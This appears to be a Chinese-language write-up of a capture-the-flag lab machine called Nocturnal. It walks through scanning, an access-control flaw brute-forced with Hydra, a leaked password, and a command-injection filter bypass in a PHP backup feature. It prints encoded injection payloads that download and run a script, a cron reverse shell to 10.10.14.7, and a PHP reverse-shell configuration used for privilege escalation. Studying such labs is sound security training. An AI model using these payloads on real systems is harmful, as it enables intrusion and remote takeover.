目标信息
IP地址:
10.10.11.64
信息收集
ICMP检测
PING 10.10.11.64 (10.10.11.64) 56(84) bytes of data.
64 bytes from 10.10.11.64: icmp_seq=1 ttl=63 time=433 ms
64 bytes from 10.10.11.64: icmp_seq=2 ttl=63 time=456 ms
64 bytes from 10.10.11.64: icmp_seq=3 ttl=63 time=478 ms
64 bytes from 10.10.11.64: icmp_seq=4 ttl=63 time=400 ms
--- 10.10.11.64 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 400.007/441.891/478.220/28.962 ms
攻击机和靶机之间网络连接正常。
防火墙检测
# Nmap 7.95 scan initiated Sun Apr 13 07:46:35 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN ./fin_report.txt 10.10.11.64
Nmap scan report for 10.10.11.64
Host is up (0.34s latency).
All 65535 scanned ports on 10.10.11.64 are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)
# Nmap done at Sun Apr 13 07:47:21 2025 -- 1 IP address (1 host up) scanned in 46.29 seconds
无法探测靶机防火墙状态。
网络端口扫描
TCP
端口扫描结果
# Nmap 7.95 scan initiated Sun Apr 13 07:53:18 2025 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN ./tcp_report.txt 10.10.11.64
Warning: 10.10.11.64 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.64
Host is up (0.26s latency).
Not shown: 65525 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
6811/tcp filtered unknown
16965/tcp filtered unknown
25054/tcp filtered unknown
45964/tcp filtered unknown
49883/tcp filtered unknown
52983/tcp filtered unknown
65008/tcp filtered unknown
65532/tcp filtered unknown
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 291.51 ms 10.10.14.1
2 291.84 ms 10.10.11.64
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 13 07:54:17 2025 -- 1 IP address (1 host up) scanned in 59.42 seconds
UDP
端口开放列表扫描结果
# Nmap 7.95 scan initiated Sun Apr 13 07:56:09 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.10.11.64
Warning: 10.10.11.64 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.64
Host is up (0.30s latency).
All 65535 scanned ports on 10.10.11.64 are in ignored states.
Not shown: 65294 open|filtered udp ports (no-response), 241 closed udp ports (port-unreach)
# Nmap done at Sun Apr 13 08:00:13 2025 -- 1 IP address (1 host up) scanned in 243.23 seconds
UDP
端口详细信息扫描结果
(无)
同时发现靶机操作系统为Ubuntu Linux
,开放了SSH
和Nginx Web
服务,Web
服务主域名为nocturnal.htb
。
服务探测
SSH服务(22端口)
端口Banner
:
┌──(root㉿misaka19008)-[/home/megumin/Documents/pentest_notes/nocturnal]
└─# nc -nv 10.10.11.64 22
(UNKNOWN) [10.10.11.64] 22 (ssh) open
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
Web应用程序(80端口)
打开网址:http://nocturnal.htb/
根据网页上的描述,发现该站点似乎为一个简单的文件上传与管理系统。直接点击register
链接,跳转到/register.php
注册一个名为misaka19008
的新用户:
随后页面跳转至/login.php
,输入用户密码登录:
成功访问文件上传面板。接下来,直接尝试新建一个TXT
文件进行上传操作:
发现文件上传接口对上传文件的后缀名使用了白名单过滤机制,该接口只允许上传如下后缀名文件:pdf
、doc
、docx
、xls
、xlsx
和odt
。
直接将test.txt
改名为test.xls
上传:
成功上传文件,随后发现页面返回了test.xls
文件的下载链接:
http://nocturnal.htb/view.php?username=misaka19008&file=test.xls
访问该链接后,view.php
返回了上传的文件内容。
但令人在意的一件事是,文件下载接口view.php
在执行返回文件内容操作前,必须接收由用户提供的username
用户名参数和file
文件名参数,才能执行后续的任务;但正常情况下,网站如果想要判断当前访问者的用户身份,只需要根据客户端浏览器传输的Cookie
信息(通常为PHPSESSID
)查找服务器上对应的Session
文件,随后读取Session
数组中由登录程序保存的用户名即可。而在view.php
中,即使用户已经登录,判断用户身份还需要由HTTP GET
参数传入用户名,这意味着站点文件下载接口很有可能存在垂直越权漏洞。
直接重新注册一个新用户misaka20001
:
随后退出登录,重新以misaka19008
用户身份登录站点,并访问view.php
文件下载接口,但将username
参数内容替换为misaka20001
,file
参数内容保持test.xls
不变:http://nocturnal.htb/view.php?username=misaka20001&file=test.xls
发现页面返回了File does not exist.
字样,尝试将username
参数改成一个不存在的用户名misaka9982
:
页面直接返回了User not found.
字样。
成功发现站点文件下载接口存在垂直越权漏洞!
渗透测试
利用垂直越权漏洞爆破用户名
在之前的服务探测过程中,我们已经成功发现了文件下载接口view.php
的垂直越权漏洞,以及当username
参数为存在的用户名时,页面会返回Available files for download
字样的事实。因此,我们可以利用以上特性进行用户名爆破。
首先查看view.php
用户名参数为存在用户名时的页面源代码:
<div class='error'>File does not exist.</div><h2>Available files for download:</h2><ul></ul>
发现单词Available
确实存在于页面明文源代码中,有且只有一个,可以用作Hydra
正确结果的标识词。
接下来获取当前Cookie
内容:
发现Cookie
为:PHPSESSID=468aivq3ijt6g4rmao9vni106k
直接使用Hydra
工具,配合用户名字典xato-net-10-million-usernames-dup.txt
爆破view.php
的用户名参数:
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames-dup.txt -p test.xls -t 60 nocturnal.htb http-get-form "/view.php:username=^USER^&file=^PASS^:H=Cookie:PHPSESSID=468aivq3ijt6g4rmao9vni106k:S=Available"
成功发现4
个用户名:admin
、amanda
、toto
和tobias
。
尝试将username
参数设置为amanda
,获取该用户的上传文件列表:http://nocturnal.htb/view.php?username=amanda&file=test.xls
ODT归档文件内发现用户凭据
获取amanda
用户文件列表后,我们尝试下载privacy.odt
文件,查看其内容:
经过翻看后,在content.xml
文件内发现用户凭据:
<text:p text:style-name="P1">Dear <text:span text:style-name="T1">Amanda</text:span>,</text:p><text:p text:style-name="P1">Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.</text:p><text:p text:style-name="P1">The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.</text:p><text:p text:style-name="P1">Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.</text:p>
尝试以如下用户凭据登录网站:
- 用户名:
amanda
- 密码:
arHkG7HAI68X8s1J
成功登录管理员后台!
站点代码审计发现命令执行漏洞
登录管理员后台admin.php
后,发现我们可以查看网站PHP
程序的源代码,并且在页面最底部,有一个备份创建工具,还需要管理员创建备份文件密码:
直接查看admin.php
的源代码:
<?php
session_start();
if (!isset($_SESSION['user_id']) || ($_SESSION['username'] !== 'admin' && $_SESSION['username'] !== 'amanda')) {
header('Location: login.php');
exit();
}
function sanitizeFilePath($filePath) {
return basename($filePath); // Only gets the base name of the file
}
// List only PHP files in a directory
function listPhpFiles($dir) {
$files = array_diff(scandir($dir), ['.', '..']);
echo "<ul class='file-list'>";
foreach ($files as $file) {
$sanitizedFile = sanitizeFilePath($file);
if (is_dir($dir . '/' . $sanitizedFile)) {
// Recursively call to list files inside directories
echo "<li class='folder'> <strong>" . htmlspecialchars($sanitizedFile) . "</strong>";
echo "<ul>";
listPhpFiles($dir . '/' . $sanitizedFile);
echo "</ul></li>";
} else if (pathinfo($sanitizedFile, PATHINFO_EXTENSION) === 'php') {
// Show only PHP files
echo "<li class='file'> <a href='admin.php?view=" . urlencode($sanitizedFile) . "'>" . htmlspecialchars($sanitizedFile) . "</a></li>";
}
}
echo "</ul>";
}
// View the content of the PHP file if the 'view' option is passed
if (isset($_GET['view'])) {
$file = sanitizeFilePath($_GET['view']);
$filePath = __DIR__ . '/' . $file;
if (file_exists($filePath) && pathinfo($filePath, PATHINFO_EXTENSION) === 'php') {
$content = htmlspecialchars(file_get_contents($filePath));
} else {
$content = "File not found or invalid path.";
}
}
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Panel</title>
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;600&display=swap" rel="stylesheet">
<style>
body {
font-family: 'Poppins', sans-serif;
background-color: #1a1a1a;
margin: 0;
padding: 0;
color: #ff8c00;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
background-color: #2c2c2c;
width: 90%;
max-width: 1000px;
padding: 30px;
box-shadow: 0 8px 20px rgba(0, 0, 0, 0.5);
border-radius: 12px;
}
h1, h2 {
color: #ff8c00;
font-weight: 600;
}
form {
display: flex;
flex-direction: column;
gap: 15px;
margin-bottom: 30px;
}
input[type="password"] {
padding: 12px;
font-size: 16px;
border: 1px solid #555;
border-radius: 8px;
width: 100%;
background-color: #333;
color: #ff8c00;
}
button {
padding: 12px;
font-size: 16px;
background-color: #2d72bc;
color: white;
border: none;
border-radius: 8px;
cursor: pointer;
transition: background-color 0.3s ease;
}
button:hover {
background-color: #245a9e;
}
.file-list {
list-style: none;
padding: 0;
}
.file-list li {
background-color: #444;
padding: 15px;
margin-bottom: 10px;
border-radius: 8px;
display: flex;
align-items: center;
}
.file-list li.folder {
background-color: #3b3b3b;
}
.file-list li.file {
background-color: #4d4d4d;
}
.file-list li a {
color: #ff8c00;
text-decoration: none;
margin-left: 10px;
}
.file-list li a:hover {
text-decoration: underline;
}
pre {
background-color: #2d2d2d;
color: #eee;
padding: 20px;
border-radius: 8px;
overflow-x: auto;
font-family: 'Courier New', Courier, monospace;
}
.message {
padding: 15px;
border-radius: 8px;
margin-top: 15px;
background-color: #e7f5e6;
color: #2d7b40;
font-weight: 500;
}
.error {
background-color: #f8d7da;
color: #842029;
}
.backup-output {
margin-top: 20px;
padding: 15px;
border: 1px solid #555;
border-radius: 8px;
background-color: #333;
color: #ff8c00;
}
</style>
</head>
<body>
<div class="container">
<h1>Admin Panel</h1>
<h2>File Structure (PHP Files Only)</h2>
<?php listPhpFiles(__DIR__); ?>
<h2>View File Content</h2>
<?php if (isset($content)) { ?>
<pre><?php echo $content; ?></pre>
<?php } ?>
<h2>Create Backup</h2>
<form method="POST">
<label for="password">Enter Password to Protect Backup:</label>
<input type="password" name="password" required placeholder="Enter backup password">
<button type="submit" name="backup">Create Backup</button>
</form>
<div class="backup-output">
<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];
$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}
sleep(2);
$logContents = file_get_contents($logFile);
if (strpos($logContents, 'zip error') === false) {
echo "<div class='backup-success'>";
echo "<p>Backup created successfully.</p>";
echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
echo "</div>";
} else {
echo "<div class='error-message'>Error creating the backup.</div>";
}
unlink($logFile);
}
}
?>
</div>
<?php if (isset($backupMessage)) { ?>
<div class="message"><?php echo $backupMessage; ?></div>
<?php } ?>
</div>
</body>
</html>
阅读admin.php
源代码,我们可以发现,页面底部的Create Backup
功能实际上为创建站点目录备份压缩包,但该功能并未使用PHP
编程语言的压缩包插件来完成,而是直接使用了proc_open
函数调用了操作系统的zip
命令创建压缩包,并将用户控制的密码参数经过一些恶意字符检测和转义后(使用cleanEntry()
方法),拼接到了命令中。(第211 - 232
行)
针对以上情况,我们着重分析cleanEntry()
方法,该方法在源代码第44 - 54
行:
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
可以看到,该方法首先检测传入字符串内是否存在如;
、&
、|
这一类的危险字符,如果存在则直接返回false
并退出执行,接着主程序就会报错返回Use another password
提示;如果危险字符检查通过,程序就会使用htmlspecialchars()
方法,对字符串内的单双引号进行HTML
编码,最后返回经处理后的字符串。
但是,这种过滤方法还是存在漏洞,我们可以使用Linux Bash Shell
的分行命令输入功能进行绕过。在Linux
中,如果用户需要分行输入过长的命令,只需要使用在单行命令末尾添加空白字符和反斜杠**,最后按回车键**,就可以分行输入超长命令了。比如,用户想执行ls -lA /
命令,实际分行输入内容可以为:
ls \
-lA
/
回到PHP
程序上,我们发现,即使cleanEntry()
方法过滤了大多数命令管道符和单双引号,甚至空格,我们依旧可以传入制表符、反斜杠和换行符进行命令注入。它们的URL
编码分别为:%09
、%5C
和%0A
。
举个例子,假如我们还是希望执行ls -lA
命令,正常情况下原命令为:
zip -x './backups/*' -r -P $password $backupFile . > $logFile 2>&1 &
而我们可以对password
参数进行命令注入:
111111%0Als%09%5C%0A-lA%0a
这样实际执行的命令为:
zip -x './backups/*' -r -P 111111
ls \
-lA
$backupFile . > $logFile 2>&1 &
接下来我们进行命令注入攻击。首先,我们在本地创建恶意反弹Shell
脚本文件evil_cron.sh
,随后打开SimpleHTTPServer
监听和netcat
监听:
#!/bin/bash
echo "*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.7/443 0>&1'" | crontab
接着打开BurpSuite
,并在备份创建界面内随便输入一个密码,点击Create Backup
按钮,拦截请求包:
随后我们就可以下载恶意脚本文件、赋予执行权限并执行恶意脚本反弹Shell
了:
password=111111%0Awget%09%5C%0Ahttp://10.10.14.7/evil_cron.sh%09%5C%0A-O%09%5C%0A/tmp/evil_cron.sh%0A&backup=
password=111111%0Achmod%09%5C%0A755%09%5C%0A/tmp/evil_cron.sh%0A&backup=
password=111111%0A/tmp/evil_cron.sh%0A&backup=
等待一会儿后,成功收到反弹Shell
:
权限提升
目录信息收集
进入系统后,发现当前用户www-data
在一个名为ispconfig
的用户组中。
直接进行目录信息收集,在/var/www/
目录下发现指向目录/usr/local/ispconfig/interface/web/
目录的软链接ispconfig
,查看其文件,发现貌似为另一个PHP
站点:
同时,根据目录内文件权限,我们可以发现,当前用户www-data
可以在/var/www/ispconfig/temp/
目录下创建任意文件,因为该目录属于组ispconfig
,权限为750
。
鉴于未发现其它可疑信息,直接上传linpeas.sh
进行自动化信息收集。
本地信息收集
基本系统信息
进程列表
计划任务列表
环境变量
用户信息
用户家目录
特殊权限文件
开放端口信息
敏感文件权限
经分析研判,发现靶机root
用户正在使用PHP
简易Web
服务器监听靶机本地8080
端口,命令为/usr/bin/php -S 127.0.0.1:8080
。结合目录信息收集阶段的相关信息,怀疑该PHP
简易网页服务器的监听目录为/var/www/ispconfig/
目录。这样,我们就可以通过在/var/www/ispconfig/temp/
目录下上传PHP
反弹Shell
脚本的方法进行权限提升。
利用超级权限PHP Web服务提权
首先,我们将Kali Linux
系统自带的PHP
反弹Shell
木马php-reverse-shell.php
复制到工作目录,编辑其攻击机IP
地址参数:
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.7'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
编辑完成后,使用scp
工具将其传输到/var/www/ispconfig/temp/
目录下,接着开启netcat
监听攻击机4444
端口:
# On target machine:
scp -P 22222 megumin@10.10.14.7:/home/megumin/Documents/pentest_notes/nocturnal/php-reverse-shell.php /var/www/ispconfig/temp/php-reverse-shell.php
# On local attack machine:
rlwrap nc -l -p 4444 -s 10.10.14.7
最后在靶机上执行curl
命令访问PHP
木马:
curl http://127.0.0.1:8080/temp/php-reverse-shell.php
提权成功!!!!